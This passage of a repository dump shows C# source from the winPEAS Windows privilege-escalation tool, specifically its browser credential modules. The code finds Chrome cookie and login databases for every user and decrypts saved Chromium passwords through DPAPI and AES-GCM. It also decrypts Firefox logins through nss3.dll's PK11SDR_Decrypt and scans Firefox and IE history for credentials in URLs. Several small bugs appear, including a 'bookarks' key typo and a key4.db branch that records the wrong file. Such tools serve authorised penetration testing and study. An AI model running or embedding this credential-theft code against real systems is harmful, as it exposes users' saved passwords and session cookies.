Beaprint.ListPrint(bookmarks);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static Dictionary<string, string> GetChromeDbs()\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>();\n            // checks if Chrome has a history database\n            try\n            {\n                if (MyUtils.IsHighIntegrity())\n                {\n                    string userFolder = $\"{Environment.GetEnvironmentVariable(\"SystemDrive\")}\\\\Users\\\\\";\n                    var dirs = Directory.EnumerateDirectories(userFolder);\n                    foreach (string dir in dirs)\n                    {\n                        string[] parts = dir.Split('\\\\');\n                        string userName = parts[parts.Length - 1];\n\n                        if (!(dir.EndsWith(\"Public\") || dir.EndsWith(\"Default\") || dir.EndsWith(\"Default User\") || dir.EndsWith(\"All Users\")))\n                        {\n                            string userChromeCookiesPath =\n                                $\"{dir}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Cookies\";\n                            if (File.Exists(userChromeCookiesPath))\n                            {\n                                results[\"userChromeCookiesPath\"] = userChromeCookiesPath;\n                            }\n\n                            string userChromeLoginDataPath =\n                                $\"{dir}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\";\n                            if (File.Exists(userChromeLoginDataPath))\n                            {\n                                results[\"userChromeLoginDataPath\"] = userChromeLoginDataPath;\n                            }\n                        }\n                    }\n                }\n                else\n                {\n                    string userChromeCookiesPath =\n                        $\"{Environment.GetEnvironmentVariable(\"USERPROFILE\")}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Cookies\";\n                    if (File.Exists(userChromeCookiesPath))\n                    {\n                        results[\"userChromeCookiesPath\"] = userChromeCookiesPath;\n                    }\n\n                    string userChromeLoginDataPath =\n                        $\"{Environment.GetEnvironmentVariable(\"USERPROFILE\")}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\";\n                    if (File.Exists(userChromeLoginDataPath))\n                    {\n                        results[\"userChromeLoginDataPath\"] = userChromeLoginDataPath;\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        private static List<string> ParseChromeHistory(string path)\n        {\n            List<string> results = new List<string>();\n\n            // parses a Chrome history file via regex\n            if (File.Exists(path))\n            {\n                Regex historyRegex = new Regex(@\"(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?\");\n\n                try\n                {\n                    using (StreamReader r = new StreamReader(path))\n                    {\n                        string line;\n                        while ((line = r.ReadLine()) != null)\n                        {\n                            Match m = historyRegex.Match(line);\n                            if (m.Success)\n                            {\n                                results.Add(m.Groups[0].ToString().Trim());\n                            }\n                        }\n                    }\n                }\n                catch (IOException exception)\n                {\n                    Console.WriteLine(\"\\r\\n    [x] IO exception, history file likely in use (i.e. Browser is likely running): \", exception.Message);\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException(ex.Message);\n                }\n            }\n            return results;\n        }\n\n        private static Dictionary<string, List<string>> GetChromeHistBook()\n        {\n            Dictionary<string, List<string>> results = new Dictionary<string, List<string>>()\n            {\n                { \"history\", new List<string>() },\n                { \"bookarks\", new List<string>() },\n            };\n            try\n            {\n                if (MyUtils.IsHighIntegrity())\n                {\n                    Console.WriteLine(\"\\r\\n\\r\\n=== Chrome (All Users) ===\");\n\n                    string userFolder = string.Format(\"{0}\\\\Users\\\\\", Environment.GetEnvironmentVariable(\"SystemDrive\"));\n                    var dirs = Directory.EnumerateDirectories(userFolder);\n                    foreach (string dir in dirs)\n                    {\n                        string[] parts = dir.Split('\\\\');\n                        if (!(dir.EndsWith(\"Public\") || dir.EndsWith(\"Default\") || dir.EndsWith(\"Default User\") || dir.EndsWith(\"All Users\")))\n                        {\n                            string userChromeHistoryPath = string.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\History\", dir);\n                            results[\"history\"] = ParseChromeHistory(userChromeHistoryPath);\n\n                            string userChromeBookmarkPath = string.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Bookmarks\", dir);\n                            results[\"bookmarks\"] = ParseChromeBookmarks(userChromeBookmarkPath);\n                        }\n                    }\n                }\n                else\n                {\n                    string userChromeHistoryPath = string.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\History\", Environment.GetEnvironmentVariable(\"USERPROFILE\"));\n                    results[\"history\"] = ParseChromeHistory(userChromeHistoryPath);\n\n                    string userChromeBookmarkPath = string.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Bookmarks\", Environment.GetEnvironmentVariable(\"USERPROFILE\"));\n\n                    results[\"bookmarks\"] = ParseChromeBookmarks(userChromeBookmarkPath);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n\n            return results;\n        }\n\n        private static List<string> ParseChromeBookmarks(string path)\n        {\n            List<string> results = new List<string>();\n            // parses a Chrome bookmarks\n            if (File.Exists(path))\n            {\n                try\n                {\n                    string contents = File.ReadAllText(path);\n\n                    // reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/\n                    JavaScriptSerializer json = new JavaScriptSerializer();\n                    Dictionary<string, object> deserialized = json.Deserialize<Dictionary<string, object>>(contents);\n                    Dictionary<string, object> roots = (Dictionary<string, object>)deserialized[\"roots\"];\n                    Dictionary<string, object> bookmark_bar = (Dictionary<string, object>)roots[\"bookmark_bar\"];\n                    System.Collections.ArrayList children = (System.Collections.ArrayList)bookmark_bar[\"children\"];\n\n                    foreach (Dictionary<string, object> entry in children)\n                    {\n                        //Console.WriteLine(\"      Name: {0}\", entry[\"name\"].ToString().Trim());\n                        if (entry.ContainsKey(\"url\"))\n                        {\n                            results.Add(entry[\"url\"].ToString().Trim());\n                        }\n                    }\n                }\n                catch (IOException exception)\n                {\n                    Console.WriteLine(\"\\r\\n    [x] IO exception, Bookmarks file likely in use (i.e. Chrome is likely running).\", exception.Message);\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException(ex.Message);\n                }\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/ChromiumBase.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Data;\nusing System.IO;\nusing winPEAS._3rdParty.SQLite;\nusing winPEAS.KnownFileCreds.Browsers.Decryptor;\nusing winPEAS.KnownFileCreds.Browsers.Models;\n\nnamespace winPEAS.KnownFileCreds.Browsers\n{\n    internal abstract class ChromiumBase : BrowserBase\n    {\n        public static string AppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);\n\n        public abstract string BaseAppDataPath { get; }\n\n        public override IEnumerable<CredentialModel> GetSavedCredentials()\n        {\n            var result = new List<CredentialModel>();\n            var p = Path.Combine(BaseAppDataPath, \"Login Data\");\n            var keyPath = Path.Combine(BaseAppDataPath, \"..\\\\Local State\");\n\n            try\n            {\n                if (File.Exists(p))\n                {\n                    SQLiteDatabase database = new SQLiteDatabase(p);\n                    string query = \"SELECT action_url, username_value, password_value FROM logins\";\n                    DataTable resultantQuery = database.ExecuteQuery(query);\n\n                    if (resultantQuery.Rows.Count > 0)\n                    {\n                        var key = GCDecryptor.GetKey(keyPath);\n\n                        foreach (DataRow row in resultantQuery.Rows)\n                        {\n                            byte[] encryptedData = Convert.FromBase64String((string)row[\"password_value\"]);\n                            GCDecryptor.Prepare(encryptedData, out var nonce, out var cipherTextTag);\n                            var pass = GCDecryptor.Decrypt(cipherTextTag, key, nonce);\n\n                            string actionUrl = row[\"action_url\"] is System.DBNull ? string.Empty : (string)row[\"action_url\"];\n                            string usernameValue = row[\"username_value\"] is System.DBNull ? string.Empty : (string)row[\"username_value\"];\n\n                            result.Add(new CredentialModel\n                            {\n                                Url = actionUrl,\n                                Username = usernameValue,\n                                Password = pass\n                            });\n                        }\n\n                        database.CloseDatabase();\n                    }\n                }\n            }\n            catch (Exception e)\n            {\n                return null;\n            }\n\n            return result;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Decryptor/GCDecryptor.cs",
    "content": "﻿using System;\nusing System.IO;\nusing System.Linq;\nusing System.Security.Cryptography;\nusing System.Text;\nusing System.Web.Script.Serialization;\nusing winPEAS._3rdParty.BouncyCastle.crypto.engines;\nusing winPEAS._3rdParty.BouncyCastle.crypto.modes;\nusing winPEAS._3rdParty.BouncyCastle.crypto.parameters;\n\nnamespace winPEAS.KnownFileCreds.Browsers.Decryptor\n{\n    public static class GCDecryptor\n    {\n        public static byte[] GetKey(string localStatePath)\n        {\n            var sR = string.Empty;\n            var path = Path.GetFullPath(localStatePath);\n            var v = File.ReadAllText(path);\n            var json = new JavaScriptSerializer().Deserialize<LocalState>(v);\n\n            string key = json.os_crypt.encrypted_key;\n\n            var src = Convert.FromBase64String(key);\n            var encryptedKey = src.Skip(5).ToArray();\n\n            var decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);\n\n            return decryptedKey;\n        }\n\n        public static string Decrypt(byte[] encryptedBytes, byte[] key, byte[] iv)\n        {\n            var sR = string.Empty;\n            try\n            {\n                var cipher = new GcmBlockCipher(new AesEngine());\n                var parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);\n\n                cipher.Init(false, parameters);\n                var plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];\n                var retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);\n                cipher.DoFinal(plainBytes, retLen);\n\n                sR = Encoding.UTF8.GetString(plainBytes).TrimEnd(\"\\r\\n\\0\".ToCharArray());\n            }\n            catch (Exception ex)\n            {\n                Console.WriteLine(ex.Message);\n                Console.WriteLine(ex.StackTrace);\n            }\n\n            return sR;\n        }\n\n        public static void Prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag)\n        {\n            nonce = new byte[12];\n            ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length];\n\n            Array.Copy(encryptedData, 3, nonce, 0, nonce.Length);\n            Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Decryptor/LocalState.cs",
    "content": "﻿namespace winPEAS.KnownFileCreds.Browsers.Decryptor\n{\n    public class LocalState\n    {\n        public class OsCrypt\n        {\n            public string encrypted_key { get; set; }\n        }\n\n        public OsCrypt os_crypt { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/FFDecryptor.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing winPEAS.Native;\n\nnamespace winPEAS.KnownFileCreds.Browsers.Firefox\n{\n    /// <summary>\n    /// Firefox helper class\n    /// </summary>\n    static class FFDecryptor\n    {\n        static IntPtr NSS3;\n\n        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n        public delegate long DLLFunctionDelegate(string configdir);\n\n        private const string ffFolderName = @\"\\Mozilla Firefox\\\";\n        public static long NSS_Init(string configdir)\n        {\n            var mozillaPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + ffFolderName;\n            if (!System.IO.Directory.Exists(mozillaPath))\n                mozillaPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + ffFolderName;\n            if (!System.IO.Directory.Exists(mozillaPath))\n                throw new Exception(\"Firefox folder not found\");\n\n            Kernel32.LoadLibrary(mozillaPath + \"mozglue.dll\");\n            NSS3 = Kernel32.LoadLibrary(mozillaPath + \"nss3.dll\");\n            IntPtr pProc = Kernel32.GetProcAddress(NSS3, \"NSS_Init\");\n            DLLFunctionDelegate dll = (DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate));\n            return dll(configdir);\n        }\n\n        public static string Decrypt(string cypherText)\n        {\n            IntPtr ffDataUnmanagedPointer = IntPtr.Zero;\n            StringBuilder sb = new StringBuilder(cypherText);\n\n            try\n            {\n                byte[] ffData = Convert.FromBase64String(cypherText);\n\n                ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length);\n                Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length);\n\n                TSECItem tSecDec = new TSECItem();\n                TSECItem item = new TSECItem();\n                item.SECItemType = 0;\n                item.SECItemData = ffDataUnmanagedPointer;\n                item.SECItemLen = ffData.Length;\n\n                if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)\n                {\n                    if (tSecDec.SECItemLen != 0)\n                    {\n                        byte[] bvRet = new byte[tSecDec.SECItemLen];\n                        Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen);\n                        return Encoding.ASCII.GetString(bvRet);\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                return null;\n            }\n            finally\n            {\n                if (ffDataUnmanagedPointer != IntPtr.Zero)\n                {\n                    Marshal.FreeHGlobal(ffDataUnmanagedPointer);\n                }\n            }\n\n            return null;\n        }\n\n        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n        public delegate int DLLFunctionDelegate4(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);\n        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n        public delegate int DLLFunctionDelegate5(ref TSECItem data, ref TSECItem result, int cx);\n        public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)\n        {\n            IntPtr pProc = Kernel32.GetProcAddress(NSS3, \"PK11SDR_Decrypt\");\n            DLLFunctionDelegate5 dll = (DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate5));\n            return dll(ref data, ref result, cx);\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct TSECItem\n        {\n            public int SECItemType;\n            public IntPtr SECItemData;\n            public int SECItemLen;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/FFLogins.cs",
    "content": "﻿namespace winPEAS.KnownFileCreds.Browsers.Firefox\n{\n    class FFLogins\n    {\n        public long nextId { get; set; }\n        public LoginData[] logins { get; set; }\n        public string[] disabledHosts { get; set; }\n        public int version { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/Firefox.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Data;\nusing System.IO;\nusing System.Linq;\nusing System.Text.RegularExpressions;\nusing System.Web.Script.Serialization;\nusing winPEAS._3rdParty.SQLite;\nusing winPEAS.Checks;\nusing winPEAS.Helpers;\nusing winPEAS.KnownFileCreds.Browsers.Models;\n\nnamespace winPEAS.KnownFileCreds.Browsers.Firefox\n{\n    internal class Firefox : BrowserBase, IBrowser\n    {\n        public override string Name => \"Firefox\";\n\n        public override void PrintInfo()\n        {\n            PrintSavedCredentials();\n            PrintDBsFirefox();\n            PrintHistFirefox();\n        }\n\n        private static void PrintDBsFirefox()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for Firefox DBs\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history\");\n                List<string> firefoxDBs = GetFirefoxDbs();\n                if (firefoxDBs.Count > 0)\n                {\n                    foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red\n                    {\n                        Beaprint.BadPrint(\"    Firefox credentials file exists at \" + firefoxDB);\n                    }\n\n                    Beaprint.InfoPrint(\"Run SharpWeb (https://github.com/djhohnstein/SharpWeb)\");\n                }\n                else\n                {\n                    Beaprint.NotFoundPrint();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintHistFirefox()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for GET credentials in Firefox history\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history\");\n                List<string> history = GetFirefoxHistory();\n                if (history.Count > 0)\n                {\n                    Dictionary<string, string> colorsB = new Dictionary<string, string>()\n                    {\n                        { Globals.PrintCredStrings, Beaprint.ansi_color_bad },\n                    };\n\n                    foreach (string url in history)\n                    {\n                        if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))\n                        {\n                            Beaprint.AnsiPrint(\"    \" + url, colorsB);\n                        }\n                    }\n                    Console.WriteLine();\n\n                    int limit = 50;\n                    Beaprint.MainPrint($\"Firefox history -- limit {limit}\\n\");\n                    Beaprint.ListPrint(history.Take(limit).ToList());\n                }\n                else\n                {\n                    Beaprint.NotFoundPrint();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static List<string> GetFirefoxDbs()\n        {\n            List<string> results = new List<string>();\n            // checks if Firefox has a history database\n            try\n            {\n                if (MyUtils.IsHighIntegrity())\n                {\n                    string userFolder = $\"{Environment.GetEnvironmentVariable(\"SystemDrive\")}\\\\Users\\\\\";\n                    var dirs = Directory.EnumerateDirectories(userFolder);\n                    foreach (string dir in dirs)\n                    {\n                        string[] parts = dir.Split('\\\\');\n                        string userName = parts[parts.Length - 1];\n\n                        if (!(dir.EndsWith(\"Public\") || dir.EndsWith(\"Default\") || dir.EndsWith(\"Default User\") || dir.EndsWith(\"All Users\")))\n                        {\n                            string userFirefoxBasePath = $\"{dir}\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\\";\n                            if (Directory.Exists(userFirefoxBasePath))\n                            {\n                                var directories = Directory.EnumerateDirectories(userFirefoxBasePath);\n                                foreach (string directory in directories)\n                                {\n                                    string firefoxCredentialFile3 = $\"{directory}\\\\{\"key3.db\"}\";\n                                    if (File.Exists(firefoxCredentialFile3))\n                                    {\n                                        results.Add(firefoxCredentialFile3);\n                                    }\n\n                                    string firefoxCredentialFile4 = $\"{directory}\\\\{\"key4.db\"}\";\n                                    if (File.Exists(firefoxCredentialFile4))\n                                    {\n                                        results.Add(firefoxCredentialFile3);\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n                else\n                {\n                    string userName = Environment.GetEnvironmentVariable(\"USERNAME\");\n                    string userFirefoxBasePath =\n                        $\"{Environment.GetEnvironmentVariable(\"USERPROFILE\")}\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\\";\n\n                    if (Directory.Exists(userFirefoxBasePath))\n                    {\n                        var directories = Directory.EnumerateDirectories(userFirefoxBasePath);\n                        foreach (string directory in directories)\n                        {\n                            string firefoxCredentialFile3 = $\"{directory}\\\\{\"key3.db\"}\";\n                            if (File.Exists(firefoxCredentialFile3))\n                            {\n                                results.Add(firefoxCredentialFile3);\n                            }\n\n                            string firefoxCredentialFile4 = $\"{directory}\\\\{\"key4.db\"}\";\n                            if (File.Exists(firefoxCredentialFile4))\n                            {\n                                results.Add(firefoxCredentialFile4);\n                            }\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n\n            return results;\n        }\n\n        private static List<string> GetFirefoxHistory()\n        {\n            List<string> results = new List<string>();\n            try\n            {\n                if (MyUtils.IsHighIntegrity())\n                {\n                    string userFolder = $\"{Environment.GetEnvironmentVariable(\"SystemDrive\")}\\\\Users\\\\\";\n                    var dirs = Directory.EnumerateDirectories(userFolder);\n                    foreach (string dir in dirs)\n                    {\n                        string[] parts = dir.Split('\\\\');\n                        if (!(dir.EndsWith(\"Public\") || dir.EndsWith(\"Default\") || dir.EndsWith(\"Default User\") || dir.EndsWith(\"All Users\")))\n                        {\n                            string userFirefoxBasePath = $\"{dir}\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\\";\n                            results = ParseFirefoxHistory(userFirefoxBasePath);\n                        }\n                    }\n                }\n                else\n                {\n                    string userFirefoxBasePath =\n                        $\"{Environment.GetEnvironmentVariable(\"USERPROFILE\")}\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\\";\n                    results = ParseFirefoxHistory(userFirefoxBasePath);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        private static List<string> ParseFirefoxHistory(string path)\n        {\n            List<string> results = new List<string>();\n            // parses a Firefox history file via regex\n            if (Directory.Exists(path))\n            {\n                var directories = Directory.EnumerateDirectories(path);\n                foreach (string directory in directories)\n                {\n                    string firefoxHistoryFile = string.Format(\"{0}\\\\{1}\", directory, \"places.sqlite\");\n                    Regex historyRegex = new Regex(@\"(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?\");\n\n                    try\n                    {\n                        using (StreamReader r = new StreamReader(firefoxHistoryFile))\n                        {\n                            string line;\n                            while ((line = r.ReadLine()) != null)\n                            {\n                                Match m = historyRegex.Match(line);\n                                if (m.Success)\n                                {\n                                    results.Add(m.Groups[0].ToString().Trim());\n                                }\n                            }\n                        }\n                    }\n                    catch (IOException exception)\n                    {\n                        Console.WriteLine(\"\\r\\n    [x] IO exception, places.sqlite file likely in use (i.e. Firefox is likely running).\", exception.Message);\n                    }\n                    catch (Exception ex)\n                    {\n                        Beaprint.PrintException(ex.Message);\n                    }\n                }\n            }\n            return results;\n        }\n\n        public override IEnumerable<CredentialModel> GetSavedCredentials()\n        {\n            var logins = new List<CredentialModel>();\n\n            string signonsFile = null;\n            string loginsFile = null;\n            bool signonsFound = false;\n            bool loginsFound = false;\n\n            try\n            {\n                var dirs = Directory.EnumerateDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Mozilla\\\\Firefox\\\\Profiles\")).ToList();\n\n                if (!dirs.Any())\n                {\n                    return logins;\n                }\n\n                foreach (string dir in dirs)\n                {\n                    if (Directory.Exists(dir))\n                    {\n                        string[] files = Directory.EnumerateFiles(dir, \"signons.sqlite\").ToArray();\n                        if (files.Length > 0)\n                        {\n                            signonsFile = files[0];\n                            signonsFound = true;\n                        }\n\n                        // find &quot;logins.json\"file\n                        files = Directory.EnumerateFiles(dir, \"logins.json\").ToArray();\n                        if (files.Length > 0)\n                        {\n                            loginsFile = files[0];\n                            loginsFound = true;\n                        }\n\n                        if (loginsFound || signonsFound)\n                        {\n                            FFDecryptor.NSS_Init(dir);\n                            break;\n                        }\n                    }\n\n                }\n\n                if (signonsFound)\n                {\n                    SQLiteDatabase database = new SQLiteDatabase(\"Data Source=\" + signonsFile + \";\");\n                    string query = \"SELECT encryptedUsername, encryptedPassword, hostname FROM moz_logins\";\n                    DataTable resultantQuery = database.ExecuteQuery(query);\n\n                    if (resultantQuery.Rows.Count > 0)\n                    {\n                        foreach (DataRow row in resultantQuery.Rows)\n                        {\n                            string encryptedUsername = row[\"encryptedUsername\"] is System.DBNull ? string.Empty : (string)row[\"encryptedUsername\"];\n                            string encryptedPassword = row[\"encryptedPassword\"] is System.DBNull ? string.Empty : (string)row[\"encryptedPassword\"];\n                            string hostname = row[\"hostname\"] is System.DBNull ? string.Empty : (string)row[\"hostname\"];\n\n                            string username = FFDecryptor.Decrypt(encryptedUsername);\n                            string password = FFDecryptor.Decrypt(encryptedPassword);\n\n                            logins.Add(new CredentialModel\n                            {\n                                Username = username,\n                                Password = password,\n                                Url = hostname\n                            });\n                        }\n\n                        database.CloseDatabase();\n                    }\n                }\n\n                if (loginsFound)\n                {\n                    FFLogins ffLoginData;\n                    using (StreamReader sr = new StreamReader(loginsFile))\n                    {\n                        string json = sr.ReadToEnd();\n\n                        ffLoginData = new JavaScriptSerializer().Deserialize<FFLogins>(json);\n                    }\n\n                    foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins)\n                    {\n                        string username = FFDecryptor.Decrypt(loginData.encryptedUsername);\n                        string password = FFDecryptor.Decrypt(loginData.encryptedPassword);\n                        logins.Add(new CredentialModel\n                        {\n                            Username = username,\n                            Password = password,\n                            Url = loginData.hostname\n                        });\n                    }\n                }\n            }\n            catch (Exception e)\n            {\n            }\n\n            return logins;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/LoginData.cs",
    "content": "﻿namespace winPEAS.KnownFileCreds.Browsers.Firefox\n{\n    class LoginData\n    {\n        public long id { get; set; }\n        public string hostname { get; set; }\n        public string url { get; set; }\n        public string httprealm { get; set; }\n        public string formSubmitURL { get; set; }\n        public string usernameField { get; set; }\n        public string passwordField { get; set; }\n        public string encryptedUsername { get; set; }\n        public string encryptedPassword { get; set; }\n        public string guid { get; set; }\n        public int encType { get; set; }\n        public long timeCreated { get; set; }\n        public long timeLastUsed { get; set; }\n        public long timePasswordChanged { get; set; }\n        public long timesUsed { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/IBrowser.cs",
    "content": "﻿using System.Collections.Generic;\nusing winPEAS.KnownFileCreds.Browsers.Models;\n\nnamespace winPEAS.KnownFileCreds.Browsers\n{\n    internal interface IBrowser\n    {\n        string Name { get; }\n        void PrintInfo();\n        IEnumerable<CredentialModel> GetSavedCredentials();\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/InternetExplorer.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Reflection;\nusing System.Runtime.InteropServices;\nusing System.Text.RegularExpressions;\nusing winPEAS.Checks;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\nusing winPEAS.KnownFileCreds.Browsers.Models;\n\nnamespace winPEAS.KnownFileCreds.Browsers\n{\n    internal class InternetExplorer : BrowserBase, IBrowser\n    {\n        public override string Name => \"Internet Explorer (unsupported)\";\n\n        public override void PrintInfo()\n        {\n            PrintSavedCredentials();\n            PrintCurrentIETabs();\n            PrintHistFavIE();\n        }\n\n        private static void PrintCurrentIETabs()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Current IE tabs\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history\");\n                List<string> urls = GetCurrentIETabs();\n\n                Dictionary<string, string> colorsB = new Dictionary<string, string>()\n                {\n                    { Globals.PrintCredStrings, Beaprint.ansi_color_bad },\n                };\n\n                Beaprint.ListPrint(urls, colorsB);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintHistFavIE()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for GET credentials in IE history\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history\");\n                Dictionary<string, List<string>> ieHistoryBook = GetIEHistFav();\n                List<string> history = ieHistoryBook[\"history\"];\n                List<string> favorites = ieHistoryBook[\"favorites\"];\n\n                if (history.Count > 0)\n                {\n                    Dictionary<string, string> colorsB = new Dictionary<string, string>()\n                    {\n                        { Globals.PrintCredStrings, Beaprint.ansi_color_bad },\n                    };\n\n                    foreach (string url in history)\n                    {\n                        if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))\n                        {\n                            Beaprint.AnsiPrint(\"    \" + url, colorsB);\n                        }\n                    }\n                    Console.WriteLine();\n\n                    int limit = 50;\n                    Beaprint.MainPrint($\"IE history -- limit {limit}\\n\");\n                    Beaprint.ListPrint(history.Take(limit).ToList());\n                }\n                else\n                {\n                    Beaprint.NotFoundPrint();\n                }\n\n                Beaprint.MainPrint(\"IE favorites\");\n                Beaprint.ListPrint(favorites);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static Dictionary<string, List<string>> GetIEHistFav()\n        {\n            int lastDays = 90;\n            Dictionary<string, List<string>> results = new Dictionary<string, List<string>>()\n            {\n                { \"history\", new List<string>() },\n                { \"favorites\", new List<string>() },\n            };\n\n            DateTime startTime = DateTime.Now.AddDays(-lastDays);\n\n            try\n            {\n                if (MyUtils.IsHighIntegrity())\n                {\n                    string[] SIDs = Registry.Users.GetSubKeyNames();\n                    foreach (string SID in SIDs)\n                    {\n                        if (SID.StartsWith(\"S-1-5\") && !SID.EndsWith(\"_Classes\"))\n                        {\n                            Dictionary<string, object> settings = RegistryHelper.GetRegValues(\"HKU\", string.Format(\"{0}\\\\SOFTWARE\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\", SID));\n                            if ((settings != null) && (settings.Count > 1))\n                            {\n                                foreach (KeyValuePair<string, object> kvp in settings)\n                                {\n                                    byte[] timeBytes = RegistryHelper.GetRegValueBytes(\"HKU\", string.Format(\"{0}\\\\SOFTWARE\\\\Microsoft\\\\Internet Explorer\\\\TypedURLsTime\", SID), kvp.Key.ToString().Trim());\n                                    if (timeBytes != null)\n                                    {\n                                        long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0));\n                                        DateTime urlTime = DateTime.FromFileTime(timeLong);\n                                        if (urlTime > startTime)\n                                        {\n                                            results[\"history\"].Add(kvp.Value.ToString().Trim());\n                                    